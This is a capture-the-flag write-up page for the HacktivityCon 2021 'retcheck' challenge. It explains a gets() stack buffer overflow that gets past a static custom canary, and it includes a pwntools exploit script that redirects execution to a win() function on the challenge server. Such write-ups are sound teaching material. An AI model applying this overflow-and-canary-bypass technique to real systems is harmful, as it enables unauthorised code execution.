💻
0xTen
  • Intro
  • 🚩CTFs
  • Hackthebox👽
    • Boxes
      • Attended
    • Challenges
      • knote
    • Business Ctf
      • 2022
        • Midenios
  • UHC🔮
    • Quals
      • 8th Edition
        • Super Secret Password
        • Trampoline
        • I like to buy or smth
  • pwnable.kr🐱
    • Toddler's Bottle
      • fd
      • bof
      • random
      • uaf
  • Boitatech🐍
    • 2021
      • bankapp
  • DEFCON☠️
    • 2022
      • Quals
        • Smuggler's Cove
  • RealWorld CTF🐉
    • 2022
  • Dice CTF 🎲
    • 2022
      • babyrop
    • 2023
  • Insomnihack💀
    • 2022
  • ClearSale CTF🏆
    • 2021
      • Secret Notes
      • Esse Esse Erre Effe
      • Fresca Soda
      • Healthchecker
  • InCTF🏆
    • 2021
      • Ancient House
  • ASIS CTF🏆
    • 2020
      • Shared house
    • 2021
      • Mini Memo
  • N1CTF🏆
    • 2021
      • babyguess
  • HacktivityCon🏆
    • 2021
      • faucet
      • pawned
      • retcheck
      • shellcoded
      • the library
      • yabo
  • 🖥️Pwn
    • ROP↩️
      • x64 ret2libc
    • Heap⛰️
      • jemalloc
      • Fastbin dup - 2.31
      • Chunk Overlapping - 2.31
      • phoenix
        • heap-zero
          • i486
        • heap-one
          • i486
    • Format strings🩸
      • Blind
    • Kernel🌽
    • Browser🤖
  • 🕸️Web
    • SQLi💉
      • Blind (Boolean Based)
Powered by GitBook
On this page
  • Files
  • The binary
  • "Canary" (kinda)
  • Final Exploit

Was this helpful?

  1. HacktivityCon🏆
  2. 2021

retcheck

retcheck was a fairly simply buffer overflow challenge against a custom stack cookie implementation.

PreviouspawnedNextshellcoded

Last updated 3 years ago

Was this helpful?

Files

The binary

the program simply allows the user to enter data that is, later on, copied with gets() into a 400 bytes long buffer.

"Canary" (kinda)

The program initializes a value used as a stack canary right below the buffer, so if we want to overwrite this functions return address, we will overwrite the canary and cause the program to abort. luckily enough, the binary has no pie.

So all we have to do is to overwrite the canary with it's own static value and continue exploitation.

Final Exploit

The program has a win() function that simply prints the flag, so overwriting the return address of the vuln() function is just enough.

#!/usr/bin/env python
from pwn import *

# Definitions
e = context.binary = ELF('./retcheck',checksec=False)

if args.REMOTE:
    io = remote('challenge.ctf.games',31463)
else:
    io = process(e.path)

# Exploit
overflow = 408*'A' 
overflow += p64(0x401465) # bypass canary
overflow += p64(0) # rbp
overflow += p64(0x4012e9) # return address

io.recvrepeat(0.1)
io.sendline(overflow)

io.interactive()
CTFs/hacktivitycon/2021/retcheck at main · 0xTen/CTFsGitHub
Logo